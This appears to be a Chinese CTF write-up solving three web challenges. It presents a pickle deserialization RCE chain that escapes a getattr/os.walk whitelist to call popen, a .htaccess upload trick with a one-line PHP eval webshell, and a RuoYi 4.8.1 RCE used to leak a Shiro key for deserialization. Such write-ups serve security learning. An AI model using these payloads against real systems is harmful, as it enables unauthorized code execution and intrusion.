Pickle Me

非预期:

flag就在源码当中,应该是出题人忘记更改了

image-20261107200205555

预期解:

这道题目给了预期解,我们可以发现只给了白名单:

builtins.getattr
os.walk

要求我们手写opencode来实现读取flag,包括源码也给了提示要求我们进行__global__逃逸,其实这里的思路很简单,通过os.walk拿全局字典,然后__getitem__进行遍历拿到popen函数最后进行RCE即可
这是一个完整的链子:

getattr(getattr(os.walk, "__globals__"), "__getitem__")("popen")("cat /flag").read()

这里需要用pker工具,我们先编写一个脚本,随后用pker编译即可

getattr = GLOBAL("builtins", "getattr")
walk = GLOBAL("os", "walk")
popen = getattr(getattr(walk, "__globals__"), "__getitem__")("popen")
return getattr(popen("cat /flag"), "read")()

随后进行编译:

image-20261107205243405


然后进行base64加密

import pickle,base64

a=字节码

print(base64.b64encode(a).decode())

即可拿到flag

FileDesk

这道题目还是比较有意思,首先这里允许上传压缩包,图片,pdf,word文档,这里我们抓包可以看到服务器配置是apache,其实很容易想到.htaccess,因为大部分文件上传是apache服务器的时候都可以尝试利用.htaccess上传然后写马来实现的。
这里我们需要配置.htaccess,内容为

AddType application/x-httpd-php
AddType application/x-httpd-php

那么这里要对什么后缀名进行php解析呢,其实我们可以利用.txt文件写马子进行文件上传即可

AddType application/x-httpd-php .txt
AddType application/x-httpd-php .txt

然后将.htaccess和.txt一起进行压缩然后上传即可
1.txt内容为:

<?php eval($_POST['a']);?>

当1.txt上传后会被php解析,然后就会实现写马成功,然后中国蚁剑连接:

image-20261107200745028

short-reflect

这道题目题面上我记得给的提示有SSTI,反序列化,其实拿到这道题目很显然我们可以发现这是一个若依的框架,然后我刚刚开始是想通过一把梭看看能不能梭出来的,但是shiro的密钥也爆破不出来,然后我们可以发现若依的版本4.8.1,然后我去上网搜了一下,是有RCE的然后就可以直接打了

image-20261107201143472


随后根据常见路由和参数开始打,发现可以拿到shiro的密钥

image-20261107201226126


拿到密钥之后就可以利用shiro反序列一把梭工具,题面又告诉我们执行readflag即可

image-20261107201253955